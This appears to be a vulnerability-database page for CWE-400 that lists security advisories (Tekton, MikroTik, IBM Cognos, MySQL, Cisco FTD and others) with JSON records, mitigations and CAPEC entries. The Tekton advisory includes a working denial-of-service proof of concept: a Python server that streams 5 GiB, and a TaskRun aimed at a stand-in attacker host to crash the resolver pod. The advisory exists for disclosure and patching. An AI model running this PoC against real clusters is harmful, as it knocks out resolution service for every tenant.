Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

6476 vulnerabilities reference this CWE, most recent first.

GHSA-M2CX-GPQF-QF74

Vulnerability from github – Published: 2026-04-21 20:27 – Updated: 2026-05-22 15:45
VLAI
Summary
Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion
Details

Summary

The HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations.

Details

pkg/resolution/resolver/http/resolver.go:279–307:

func FetchHttpResource(ctx context.Context, params map[string]string,
    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {

    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute
    // ...
    resp, err := httpClient.Do(req)
    // ...
    defer func() { _ = resp.Body.Close() }()

    body, err := io.ReadAll(resp.Body)  // ← no size limit
    if err != nil {
        return nil, fmt.Errorf("error reading response body: %w", err)
    }
    // ...
}

makeHttpClient sets http.Client{Timeout: timeout} where timeout defaults to 1 minute and is configurable via fetch-timeout in the http-resolver-config ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.

The resolver deployment (config/core/deployments/resolvers-deployment.yaml) sets a 4 GiB memory limit on the controller container. A response of 4 GiB or larger delivered at wire speed will cause io.ReadAll to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.

The remoteresolution HTTP resolver (pkg/remoteresolution/resolver/http/resolver.go:90) delegates directly to the same FetchHttpResource function and is equally affected.

PoC

# Step 1: Run an HTTP server that streams a large response fast
python3 - <<'EOF'
import http.server, socketserver

class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        # Stream 5 GB at full speed — completes in <60s on a local network
        chunk = b"X" * (1024 * 1024)  # 1 MiB chunk
        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB
            self.wfile.write(chunk)

    def log_message(self, *args):
        pass

with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
    httpd.serve_forever()
EOF

# Step 2: Create a TaskRun that triggers the HTTP resolver
kubectl create -f - <<'EOF'
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  name: dos-poc
  namespace: default
spec:
  taskRef:
    resolver: http
    params:
      - name: url
        value: http://attacker-server.internal:8080/large-payload
EOF

# Expected result: tekton-pipelines-resolvers pod is OOM-killed.
# All resolver types in the cluster (git, hub, bundle, cluster, http)
# become unavailable until Kubernetes restarts the pod.
# Repeated submission causes a crash loop that continuously disrupts
# resolution for all tenants in the cluster.

Note: On clusters where operators have set a higher fetch-timeout (e.g., 10m), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.

Impact

  • Denial of Service: OOM-kill of the tekton-pipelines-resolvers pod denies all resolution services cluster-wide until Kubernetes restarts the pod.
  • Crash loop amplification: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.
  • Blast radius: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.

Recommended Fix

Wrap resp.Body with io.LimitReader before passing to io.ReadAll. Add a configurable max-body-size option to the http-resolver-config ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):

const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB

// In FetchHttpResource, replace:
//   body, err := io.ReadAll(resp.Body)
// with:
maxBytes := int64(defaultMaxBodyBytes)
if v, ok := conf["max-body-size"]; ok {
    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {
        maxBytes = parsed
    }
}
limitedReader := io.LimitReader(resp.Body, maxBytes+1)
body, err := io.ReadAll(limitedReader)
if err != nil {
    return nil, fmt.Errorf("error reading response body: %w", err)
}
if int64(len(body)) > maxBytes {
    return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes)
}

This fix must be applied to FetchHttpResource in pkg/resolution/resolver/http/resolver.go, which is shared by both the deprecated and current HTTP resolver implementations.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T20:27:33Z",
    "nvd_published_at": "2026-04-21T21:16:45Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe HTTP resolver\u0027s `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations.\n\n## Details\n\n`pkg/resolution/resolver/http/resolver.go:279\u2013307`:\n\n```go\nfunc FetchHttpResource(ctx context.Context, params map[string]string,\n    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {\n\n    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute\n    // ...\n    resp, err := httpClient.Do(req)\n    // ...\n    defer func() { _ = resp.Body.Close() }()\n\n    body, err := io.ReadAll(resp.Body)  // \u2190 no size limit\n    if err != nil {\n        return nil, fmt.Errorf(\"error reading response body: %w\", err)\n    }\n    // ...\n}\n```\n\n`makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.\n\nThe resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB \u2014 well above the 4 GiB limit \u2014 before the timeout fires.\n\nThe `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected.\n\n## PoC\n\n```bash\n# Step 1: Run an HTTP server that streams a large response fast\npython3 - \u003c\u003c\u0027EOF\u0027\nimport http.server, socketserver\n\nclass LargeResponseHandler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.end_headers()\n        # Stream 5 GB at full speed \u2014 completes in \u003c60s on a local network\n        chunk = b\"X\" * (1024 * 1024)  # 1 MiB chunk\n        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB\n            self.wfile.write(chunk)\n\n    def log_message(self, *args):\n        pass\n\nwith socketserver.TCPServer((\"\", 8080), LargeResponseHandler) as httpd:\n    httpd.serve_forever()\nEOF\n\n# Step 2: Create a TaskRun that triggers the HTTP resolver\nkubectl create -f - \u003c\u003c\u0027EOF\u0027\napiVersion: tekton.dev/v1\nkind: TaskRun\nmetadata:\n  name: dos-poc\n  namespace: default\nspec:\n  taskRef:\n    resolver: http\n    params:\n      - name: url\n        value: http://attacker-server.internal:8080/large-payload\nEOF\n\n# Expected result: tekton-pipelines-resolvers pod is OOM-killed.\n# All resolver types in the cluster (git, hub, bundle, cluster, http)\n# become unavailable until Kubernetes restarts the pod.\n# Repeated submission causes a crash loop that continuously disrupts\n# resolution for all tenants in the cluster.\n```\n\n**Note:** On clusters where operators have set a higher `fetch-timeout` (e.g., `10m`), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.\n\n## Impact\n\n- **Denial of Service**: OOM-kill of the `tekton-pipelines-resolvers` pod denies all resolution services cluster-wide until Kubernetes restarts the pod.\n- **Crash loop amplification**: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.\n- **Blast radius**: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.\n\n## Recommended Fix\n\nWrap `resp.Body` with `io.LimitReader` before passing to `io.ReadAll`. Add a configurable `max-body-size` option to the `http-resolver-config` ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):\n\n```go\nconst defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB\n\n// In FetchHttpResource, replace:\n//   body, err := io.ReadAll(resp.Body)\n// with:\nmaxBytes := int64(defaultMaxBodyBytes)\nif v, ok := conf[\"max-body-size\"]; ok {\n    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {\n        maxBytes = parsed\n    }\n}\nlimitedReader := io.LimitReader(resp.Body, maxBytes+1)\nbody, err := io.ReadAll(limitedReader)\nif err != nil {\n    return nil, fmt.Errorf(\"error reading response body: %w\", err)\n}\nif int64(len(body)) \u003e maxBytes {\n    return nil, fmt.Errorf(\"response body exceeds maximum allowed size of %d bytes\", maxBytes)\n}\n```\n\nThis fix must be applied to `FetchHttpResource` in `pkg/resolution/resolver/http/resolver.go`, which is shared by both the deprecated and current HTTP resolver implementations.",
  "id": "GHSA-m2cx-gpqf-qf74",
  "modified": "2026-05-22T15:45:15Z",
  "published": "2026-04-21T20:27:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40924"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tektoncd/pipeline"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tektoncd/pipeline/releases/tag/v1.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion"
}

GHSA-M2H9-C2V8-HJ79

Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-07-11 00:00
VLAI
Details

Mikrotik RouterOs before 6.44.6 (long-term tree) suffers from an uncontrolled resource consumption vulnerability in the /nova/bin/cerm process. An authenticated remote attacker can cause a Denial of Service due to overloading the systems CPU.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-20221"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-21T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Mikrotik RouterOs before 6.44.6 (long-term tree) suffers from an uncontrolled resource consumption vulnerability in the /nova/bin/cerm process. An authenticated remote attacker can cause a Denial of Service due to overloading the systems CPU.",
  "id": "GHSA-m2h9-c2v8-hj79",
  "modified": "2022-07-11T00:00:21Z",
  "published": "2022-05-24T19:08:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-20221"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/400.html"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2020/May/30"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2021/May/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2P3-H7M7-XG45

Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2023-02-23 03:30
VLAI
Details

IBM Cognos Analytics 11.0, and 11.1 is vulnerable to a denial of service attack that could allow a remote user to send specially crafted requests that would consume all available CPU and memory resources. IBM X-Force ID: 158973.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-4183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-17T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "IBM Cognos Analytics 11.0, and 11.1 is vulnerable to a denial of service attack that could allow a remote user to send specially crafted requests that would consume all available CPU and memory resources. IBM X-Force ID: 158973.",
  "id": "GHSA-m2p3-h7m7-xg45",
  "modified": "2023-02-23T03:30:15Z",
  "published": "2022-05-24T16:56:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4183"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/158973"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20191009-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/1073530"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2QC-57J3-6FH6

Vulnerability from github – Published: 2024-05-20 12:30 – Updated: 2024-07-03 18:42
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

bcachefs: Check for journal entries overruning end of sb clean section

Fix a missing bounds check in superblock validation.

Note that we don't yet have repair code for this case - repair code for individual items is generally low priority, since the whole superblock is checksummed, validated prior to write, and we have backups.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-35948"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-20T10:15:09Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nbcachefs: Check for journal entries overruning end of sb clean section\n\nFix a missing bounds check in superblock validation.\n\nNote that we don\u0027t yet have repair code for this case - repair code for\nindividual items is generally low priority, since the whole superblock\nis checksummed, validated prior to write, and we have backups.",
  "id": "GHSA-m2qc-57j3-6fh6",
  "modified": "2024-07-03T18:42:34Z",
  "published": "2024-05-20T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35948"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/fcdbc1d7a4b638e5d5668de461f320386f3002aa"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2X9-PVWQ-M49P

Vulnerability from github – Published: 2024-10-15 21:30 – Updated: 2025-11-04 00:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.39 and prior, 8.4.2 and prior and 9.0.1 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-21194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-15T20:15:06Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB).  Supported versions that are affected are 8.0.39 and prior, 8.4.2 and prior and  9.0.1 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-m2x9-pvwq-m49p",
  "modified": "2025-11-04T00:31:34Z",
  "published": "2024-10-15T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21194"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241025-0006"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2XW-6755-W968

Vulnerability from github – Published: 2024-07-17 00:32 – Updated: 2024-07-17 00:32
VLAI
Details

Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are Prior to 7.0.20. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. Note: This vulnerability applies to Linux hosts only. CVSS 3.1 Base Score 5.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-21161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-16T23:15:18Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).  Supported versions that are affected are Prior to 7.0.20. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. Note: This vulnerability applies to Linux hosts only. CVSS 3.1 Base Score 5.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-m2xw-6755-w968",
  "modified": "2024-07-17T00:32:55Z",
  "published": "2024-07-17T00:32:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21161"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M325-8P6V-XM3F

Vulnerability from github – Published: 2023-06-15 12:30 – Updated: 2024-04-04 04:51
VLAI
Details

Due to an error in the software interface to the secure element chip on Bosch IP cameras of family CPP13 and CPP14, the chip can be permanently damaged when enabling the Stream security option (signing of the video stream) with option MD5, SHA-1 or SHA-256.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-32229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1246",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-15T11:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Due to an error in the software interface to the secure element chip on Bosch IP cameras of family CPP13 and CPP14, the chip can be permanently damaged when enabling the Stream security option (signing of the video stream) with option MD5, SHA-1 or SHA-256.",
  "id": "GHSA-m325-8p6v-xm3f",
  "modified": "2024-04-04T04:51:52Z",
  "published": "2023-06-15T12:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32229"
    },
    {
      "type": "WEB",
      "url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-435698-BT.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M34W-PWWR-WFRF

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2026-08-11 21:31
VLAI
Details

A vulnerability in the ICMP ingress packet processing of Cisco Firepower Threat Defense (FTD) Software for Cisco Firepower 4110 appliances could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. The vulnerability is due to incomplete input validation upon receiving ICMP packets. An attacker could exploit this vulnerability by sending a high number of crafted ICMP or ICMPv6 packets to an affected device. A successful exploit could allow the attacker to cause a memory exhaustion condition that may result in an unexpected reload. No manual intervention is needed to recover the device after the reload.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-21T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the ICMP ingress packet processing of Cisco Firepower Threat Defense (FTD) Software for Cisco Firepower 4110 appliances could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. The vulnerability is due to incomplete input validation upon receiving ICMP packets. An attacker could exploit this vulnerability by sending a high number of crafted ICMP or ICMPv6 packets to an affected device. A successful exploit could allow the attacker to cause a memory exhaustion condition that may result in an unexpected reload. No manual intervention is needed to recover the device after the reload.",
  "id": "GHSA-m34w-pwwr-wfrf",
  "modified": "2026-08-11T21:31:43Z",
  "published": "2022-05-24T17:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3571"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftd-icmp-dos-hxxcycM"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M37H-4W48-299W

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details

In BIG-IP APM versions 16.0.0-16.0.0.1, 15.1.0-15.1.0.4, 15.0.0-15.0.1.3, 14.1.0-14.1.3, 13.1.0-13.1.3.4, 12.1.0-12.1.5.2, and 11.6.1-11.6.5.2, on systems running more than one TMM instance, authenticated VPN users may consume excessive resources by sending specially-crafted malicious traffic over the tunnel.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-27724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-24T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In BIG-IP APM versions 16.0.0-16.0.0.1, 15.1.0-15.1.0.4, 15.0.0-15.0.1.3, 14.1.0-14.1.3, 13.1.0-13.1.3.4, 12.1.0-12.1.5.2, and 11.6.1-11.6.5.2, on systems running more than one TMM instance, authenticated VPN users may consume excessive resources by sending specially-crafted malicious traffic over the tunnel.",
  "id": "GHSA-m37h-4w48-299w",
  "modified": "2022-05-24T17:37:14Z",
  "published": "2022-05-24T17:37:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27724"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K04518313"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M38G-PFFJ-4HCR

Vulnerability from github – Published: 2026-07-06 09:30 – Updated: 2026-07-06 21:30
VLAI
Details

Uncontrolled Resource Consumption vulnerability in Apache IoTDB. 

Some interface fails to impose reasonable limits on the time span and aggregation interval of the query. An attacker can construct a request with extreme parameters (e.g., a very large time range combined with a minimal interval). This forces the DataNode to build an enormous result set in memory, which exhausts the Java heap and causes the DataNode process to crash.

This issue affects Apache IoTDB: from 1.3.3 before 2.0.8.

Users are recommended to upgrade to version 2.0.8, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-24012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-06T09:16:35Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled Resource Consumption vulnerability in Apache IoTDB.\u00a0\n\nSome interface\u00a0fails to impose reasonable\nlimits on the time span and aggregation interval of the query.\u00a0An attacker\ncan construct a request with extreme parameters (e.g., a very large time\nrange combined with a minimal interval).\u00a0This forces the DataNode to build\nan enormous result set in memory, which exhausts the Java heap and causes\nthe DataNode process to crash.\n\nThis issue affects Apache IoTDB: from 1.3.3 before 2.0.8.\n\nUsers are recommended to upgrade to version 2.0.8, which fixes the issue.",
  "id": "GHSA-m38g-pffj-4hcr",
  "modified": "2026-07-06T21:30:35Z",
  "published": "2026-07-06T09:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24012"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/0g5th1t2vj6j8hm5t9w3xh9n6f6ht9z8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/06/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

